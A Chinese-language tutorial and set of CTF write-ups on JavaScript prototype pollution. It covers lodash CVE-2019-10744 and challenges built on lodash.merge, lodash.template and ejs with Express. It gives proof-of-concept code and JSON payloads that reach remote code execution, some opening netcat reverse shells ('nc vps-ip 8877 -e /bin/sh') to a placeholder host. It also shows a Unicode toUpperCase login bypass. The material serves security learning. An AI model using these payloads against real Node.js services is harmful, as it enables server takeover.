Lodash库原型污染漏洞(CVE-2019-10744)
lodash是一款开源的JavaScript实用程序库。 lodash 4.17.12之前版本中存在安全漏洞。攻击者可借助‘defaultsDeep’函数利用该漏洞添加或修改Object.prototype的对象。
const merge=require('lodash').defaultsDeep;
const payload='{"constructor":{"prototype":{"a":true}}}';
function check(){
merge({},JSON.parse(payload));
const a1={}
if(a1.a===true){
console.log('sucess')
}
}
check();
or
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"test": [{"constructor":{"prototype": {"a0": true}} }]}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
这样会给object填上a=true的属性,从而造成原型链污染。
prototype和_proto_分别是什么?
JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:
function Foo() {
this.bar = 1
}
new Foo()
Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。
为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖。
一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部:
function Foo() {
this.bar = 1
this.show = function() {
console.log(this.bar)
}
}
(new Foo()).show()
这是js定义一个类的办法。类还有一个属性,prototype。类可以通过prototype访问它的原型。但Foo实例化出来的对象,是不能通过prototype访问原型的。一个Foo类实例化出来的foo对象,可以通过foo._proto_属性来访问Foo类的原型,也就是说:
foo.__proto__ == Foo.prototype
总的来说,prototype是类的属性,_proto_是实例化出来的对象的属性。
JavaScript原型链继承
所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。 比如:
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:
- 在对象son中寻找last_name
- 如果找不到,则在son._proto_中寻找last_name
- 如果仍然找不到,则继续在son._proto_.__proto_中寻找lastname
- 依次寻找,直到找到null结束。比如,Object.prototype的_proto_就是null
总结下就是
- 每个构造函数(constructor)都有一个原型对象(prototype)
- 对象的_proto_属性,指向类的原型对象prototype
- JavaScript使用prototype链实现继承机制
- 类的第一个原型对象是它的构造函数
原型链污染是什么
前面说到,foo.proto指向的是Foo类的prototype。那么,如果我们修改了foo.proto中的值,是不是就可以修改Foo类呢?
做个简单的实验: // foo是一个简单的JavaScript对象 let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)

最后,虽然zoo是一个空对象{},但zoo.bar的结果居然是2
原因也显而易见:因为前面我们修改了foo的原型foo._proto_.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
先看两个函数
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
这两个函数会有风险,因为存在能够控制数组(对象)的“键名”的操作。 在合并的过程中,存在赋值的操作a[attr] = b[attr],那么,这个key如果是_proto_,是不是就可以原型链污染呢?
实验:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
JSON解析的情况下,_proto_会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

可见,新建的o3对象,也存在b属性,说明Object已经被污染:
hgame sekiro
题目源码 util/index.js
function game() {
this.attacks = [
{
"method": "连续砍击",
"attack": 1000,
"additionalEffect": "sekiro.posture+=100",
"solution": "连续格挡"
},
{
"method": "普通攻击",
"attack": 500,
"additionalEffect": "sekiro.posture+=50",
"solution": "格挡"
},
{
"method": "下段攻击",
"attack": 1000,
"solution": "跳跃踩头"
},
{
"method": "突刺攻击",
"attack": 1000,
"solution": "识破"
},
{
"method": "巴之雷",
"attack": 1000,
"solution": "雷反"
},
]
this.getAttackInfo = function () {
return this.attacks[Math.floor(Math.random() * this.attacks.length)]
}
this.dealWithAttacks = function (sekiro, solution) {
if (sekiro.attackInfo.solution !== solution) {
sekiro.health -= sekiro.attackInfo.attack
if (sekiro.attackInfo.additionalEffect) {
var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
sekiro = fn(sekiro)
}
}
sekiro.posture = (sekiro.posture <= 500) ? sekiro.posture : 500
sekiro.health = (sekiro.health > 0) ? sekiro.health : 0
if (sekiro.posture == 500 || sekiro.health == 0) {
sekiro.alive = false
}
return sekiro
}
}
module.exports = game;
route/index.js
var express = require('express');
var router = express.Router();
var game = require('../utils/index');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
var Game = new game();
router.get('/', function (req, res) {
res.render('index');
});
router.post('/action', function (req, res) {
if (!req.session.sekiro) {
res.end("Session required.")
}
if (!req.session.sekiro.alive) {
res.end("You dead.")
}
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.solution) {
req.session.sekiro = Game.dealWithAttacks(req.session.sekiro, copybody.solution)
}
res.end("提交成功")
})
router.get('/attack', function (req, res) {
if (!req.session.sekiro) {
res.end("Session required.")
}
if (!req.session.sekiro.alive) {
res.end("You dead.")
}
req.session.sekiro.attackInfo = Game.getAttackInfo()
res.end(req.session.sekiro.attackInfo.method)
})
router.get('/info', function (req, res) {
if (typeof(req.query.restart) != "undefined" || !req.session.sekiro) {
req.session.sekiro = { "health": 3000, posture: 0, alive: true }
}
res.json(req.session.sekiro);
})
module.exports = router;
可以看到这里出现了merge和clone函数。跟进dealWithAttacks函数,发现存在函数内容的拼接,而且还调用了函数。所以只要污染Object的additionalEffect,即可达到getshell的目的。
if (sekiro.attackInfo.additionalEffect) {
var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
sekiro = fn(sekiro)
}

先访问/info,获得session.sekiro,再访问/attack获得attackInfo(attackInfo.additionalEffect要不存在) 这个时候我们再污染object的additionalEffect,然后访问action,当找不到sekiro.attackInfo.additionalEffect的时候,就会到它的原型object找,从而getshell.()
payload:{"solution":"1","__proto__":{"additionalEffect":"global.process.mainModule.constructor._load('child_process'). exec('nc vps-ip 8877 -e /bin/sh',function(){});"}}


题目docker环境:https://github.com/ctfer-Stao/ctf
lodash.template+lodash.merge getshell
Code-Breaking 2018 Thejs
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:
- lodash.template 一个简单的模板引擎
- lodash.merge 函数或对象的合并
很明显,这里的lodash.merge操作实际上就存在原型链污染漏洞,而在lodash.template的源码中,存在这样一段代码:
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。
但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。
我将带有_proto_的Payload以json的形式发送给后端,因为express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:
payload:{"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('nc vps-ip 8888 -e /bin/sh',function(){});"}}


需要注意的是,此处的/u000a必不可少,这时json中的换行。并且一定要把Content-Type必须设置成application/json。否则proto会被处理成字符串。 接着重新访问网页,触发原型污染,拿到shell.
Express+lodash+ejs
Ez_Express
i春秋2020新春战“疫”网络安全公益赛的一道题目。在BUUCTF上进行复现。
www.zip下载到源码。
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});
router.get('/login', function (req, res) {
res.render('login');
});
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

这里又出现了clone函数。而且使用的是ejs的模块渲染。ejs模块渲染存在可以被原型污染RCE的地方。
opts 对象 outputFunctionName 成员在 express 配置的时候并没有给他赋值,默认也是未定义,即 undefined,这样在 577 行时,if 判否,跳过
但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object 类创建一个成员 outputFunctionName,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName 赋值为一串恶意代码,从而造成代码注入。在后面模版渲染的时候,注入的代码被执行,也就是这里存在一个代码注入的 RCE.
至于恶意代码构造就非常简单了。在不考虑后果的情况下,我们可以直接构造如下代码
a;global.process.mainModule.require('child_process').exec('');var b
放到代码里面看就是
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var a;global.process.mainModule.require('child_process').exec('');var b

回到题目,首先用admın,绕过ADMIN登陆。js的toUpperCase()会把字符”ı”、”ſ” 经过处理后为 “I”、”S”。接着访问/action,抓包发送payload 因为buuctf的靶机不能访问外网。所以将flag读到public目录下,可以通过报错获得绝对路径。注意要改为POST请求,而且content_type要设成json


访问/info进行渲染。 然后访问/stao获得flag。
XNUCA 2019 HardJS
题目给了源码
for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
在/get中调用了defaultsDeep进行消息的合并。条件是数据库中的消息大于5条。跟进下/add
app.post("/add",auth,async function(req,res,next){
if(req.body.type && req.body.content){
var newContent = {}
var userid = req.session.userid;
newContent[req.body.type] = [ req.body.content ]
console.log("newContent:",newContent);
var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
var result = await query(sql,[userid, JSON.stringify(newContent) ]);
if(result.affectedRows > 0){
res.json(newContent);
}else{
res.json({});
}

这里主要意思是获取请求体的type和content参数,然后赋给newContent,大概就是newContent[type]=[content],然后调用JSON.stringify(newContent)并将结果插入数据库。 可以看到,插入数据库的是一个JSON字符串,和我们前面介绍的Lodash的payload很像。结合ets渲染模板的rce,构造出payload
{"type":"stao","content":{"constructor":{"prototype":{"outputFunctionName":"a;global.process.mainModule.require('child_process').exec('nc ip 8877 -e /bin/sh');var b"}}}}
先注册用户登陆。访问/add,post发送payload5次。


接着访问/get进行消息合并并且污染原型链,然后访问/进行渲染,执行命令。访问/static/stao.下载flag 因为buuctf靶机不能访问外网,所以是根据报错获得绝对路径,将环境变量读到一个文件中。
另外,题目的预期解是利用后端绕过登陆,前端进行xss,利用JQuery<=3.4.0中的$.extend原型污染漏洞。因本人能力有限,以后有机会再复现。
参考文章:
https://www.zhaoj.in/read-6462.html https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototypeproto https://www.jianshu.com/p/6e623e9debe3 https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs https://www.anquanke.com/post/id/185377#h3-2